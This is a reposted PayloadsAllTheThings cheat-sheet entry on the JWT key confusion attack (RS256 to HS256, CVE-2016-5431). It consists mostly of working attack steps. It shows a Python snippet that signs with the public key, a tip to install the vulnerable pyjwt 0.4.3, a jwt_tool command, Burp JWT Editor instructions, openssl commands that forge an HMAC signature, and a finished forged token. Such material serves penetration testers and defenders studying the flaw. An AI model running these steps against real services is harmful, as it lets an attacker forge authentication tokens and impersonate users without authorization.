JSON Web Token: JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)

JSON Web Tokens (JWT)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

python
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

:warning: This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version: pip install pyjwt==0.4.3.

  • Using ticarpi/jwt_tool

    ps1
    python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
  • Using portswigger/JWT Editor

    1. Find the public key, usually in /jwks.json or /.well-known/jwks.json

    2. Load it in the JWT Editor Keys tab, click New RSA Key.

    3. . In the dialog, paste the JWK that you obtained earlier: {"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}

    4. Select the PEM radio button and copy the resulting PEM key.

    5. Go to the Decoder tab and Base64-encode the PEM.

    6. Go back to the JWT Editor Keys tab and generate a New Symmetric Key in JWK format.

    7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.

    8. Edit the JWT token alg to HS256 and the data.

    9. Click Sign and keep the option: Don't modify header

  • Manually using the following steps to edit an RS256 JWT token into an HS256

    1. Convert our public key (key.pem) into HEX with this command.

      powershell
      $ cat key.pem | xxd -p | tr -d "\\n"
      2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

      powershell
      $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
      
      (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
    3. Convert signature (Hex to "base64 URL")

      powershell
      python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
    4. Add signature to edited payload

      powershell
      [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
      eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

Comments

No comments yet.